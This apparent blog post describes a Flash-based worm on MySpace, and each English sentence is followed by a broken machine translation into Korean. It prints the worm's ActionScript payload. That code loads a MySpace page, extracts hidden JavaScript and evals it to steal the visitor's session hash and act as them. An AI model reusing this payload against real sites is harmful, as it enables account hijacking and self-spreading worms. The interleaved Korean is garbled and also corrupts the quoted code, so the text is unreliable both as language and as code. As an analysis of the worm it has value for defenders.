MySpace has been infected by Flash based (swf) worm which spreading rapidly through MySpace. 스페이스는 플래시에 감염되었습니다 기반 (swf) 웜에 어느 myspace를 통해 급속하게 확산되고있습니다. It is embedding JavaScript code into users’ profiles that redirects visitors to a site claiming the US government was behind the 9/11 terrorist attacks, Symantec 그것은 자바 스크립트 코드를 포함 사용자의 프로필을 방문자에게 사이트를 리디렉션을 주장하는 미국 정부의 배후에 9 / 11 테러 공격, 시만텍 warned 경고 Monday. monday. However it may be just the tip of the iceberg. 그러나 단지 빙산의 일각에 할 수도있습니다. Let’s take a look at how it works to understand how it can be easily modified to deliver much devastating payloads. 어떻게 작동하는지 살펴 보도록하는 방법을 이해를 쉽게 수정할 수있습니다 많은 충격적인 페이로드를 제공합니다.

The unnamed worm isn’t malicious but the Shockwave Flash (.swf) file containing the payload embeds JavaScript into the profile of any MySpace user who views the .swf file. 익명의 바이러스는 악의적인 충격파 그러나 플래시 (. swf) 파일을 포함하는 자바 스크립트를 삽입 페이로드 사용자의 프로필을 볼 myspace 어떤합니다. swf 파일을합니다. This can easily replicate 이것은 쉽게 복제 Samy is my friend samy은 내 친구 worm without breaking a sweat. 웜하지 않고 땀 한방울합니다.

This javascript code would then be interpreted by any user who visited the site, allowing sensitive data to be stolen, such as a hash value required to carry out operations as a user, and performing operations on behalf of that users (without consent obviously). 이 자바 스크립트 코드는 다음 사이트를 방문한 모든 사용자에 의해 해석이 허용 민감한 데이터가 도난당하는 등, 작업 수행에 필요한 해시 값을 사용자로서, 그리고 작업을 수행하는 대신 사용자 (없이 동의를 명백하게). Currently, that access is being used only to spread the JavaScript code to other profiles on the popular social network site. 현재는 전파에 액세스하는 자바 스크립트 코드가 사용되고에게만 인기있는 사회적 네트워크 사이트에 프로필을 다른합니다.

If the payload is malicious, it can carry out secondary attacks like targeting recently discovered vulnerabilities affecting Microsoft Office content. 페이로드가 악의있는 경우, 2 차 공격을 수행할 수있습니다 같은 타겟팅 microsoft 사무실에서 최근 발견된 보안 취약점에 영향을주는 콘텐츠를합니다. The impact would be much higher exposing even sensitive information on your hard-disk. 에 미치는 영향이 훨씬 높은 노출을 하드 - 디스크에 민감한 정보도합니다.

Let’s take a look at the worm, thanks to research by 를 한 번 봐 봅시다 웜, 덕분에 연구를 kinematic.theory :

When you visited an already infected page, there is a Flash object embedded (”redirect.swf”) which contains the actionscript: 이미 감염된 페이지를 방문한 경우에는 플래시 개체를 임베디드 ( "redirect.swf")을 포함하여 actionscript :
getURL(" geturl ( " url url “); ");

It opens and redirects you to the specified blog URL. 그것이 열리면서 특정 블로그를 리디렉션합니다.

On this blog url there is another flash file embedded - “retrievecookie.swf”. 이 블로그가 또 다른 플래시 파일을 임베디드 - "retrievecookie.swf"합니다. It contains: 그것을 포함 :

getURL("javas\n\rcript: var x = new ActiveXObject(\'Msxml2.XMLHTTP\');x.open(\'GET\',\'http://editprofile.myspace.com/index.cfm?fuseaction=user.HomeComments&friendID=93634373\',true);x.onreadystatechange=function(){if (x.readyState==4){var pg=x.responseText;var sc=pg.substring(pg.indexOf(\'BX-\')+3,pg.indexOf(\'-EX\'));while((sc.indexOf(\' geturl ( "자바 \ n \ rcript : 변수 x = 새로운 ActiveX를 (\ 'msxml2.xmlhttp \'); x.open (\ 가져 \ ', \'http://editprofile.myspace.com/index.cfm? fuseaction = user.homecomments & friendid = 93,634,373 \ ', 진실); x.onreadystatechange = 함수 () (경우 (x.readystate == 4) (변수 pg = x.responsetext; 변수 캐롤라이나 = pg.substring (pg.indexof (\ 'bx - \') +3, pg.indexof (\ '- 전 \'));하는 동안 ((sc.indexof (\ '
\’)!=-1)||(sc.indexOf(\’-XXX\’)!=-1)){var n=sc.indexOf(\’ \ ')!=- 1) | | (sc.indexof (\ '- xxx \ ')!=- 1)) (변수 n = sc.indexof (\'
\’);if(n==-1)n=sc.indexOf(\’-XXX\’);sc=sc.substring(0,n)+sc.substring(n+5,sc.length);};” + “eval(sc);}};” + “x.send(null);”, “”); \ ');면 (n ==- 1) n = sc.indexof (\'- xxx \ '); 캐롤라이나 = sc.substring (0, 아) + sc.substring (n +5, sc.length); ); "+"평가 (캐롤라이나 );}};" + "x.send (널);", "");

It opens another blog post ( 또 다른 블로그 게시물에가 열립니다 ( link 링크 ) and evaluates its contents. )와 그 내용을 평가합니다.

This code gets your MySpace hash which allows anyone to act as you on MySpace and perform any operations on your behalf like changing your password or adding someone unknown as your friend, anything you can do on MySpace. 이 코드는 사용자가 당신의 myspace 해시의 역할을 수있는 사람이 귀하를 대신해이 같은 작업을 수행할 수 myspace 그리고 귀하의 비밀 번호를 변경하거나 당신의 친구로 추가하기 알 수없는 사람, 아무거나에서 수행 myspace하실 수있습니다. Currently the code adds a message to your MySpace profile. 하나의 메시지를 현재 귀하의 myspace 프로필의 코드를 추가합니다. It extensively use AJAX for its operations. 그것 ajax의 작업을 광범위하게 사용합니다.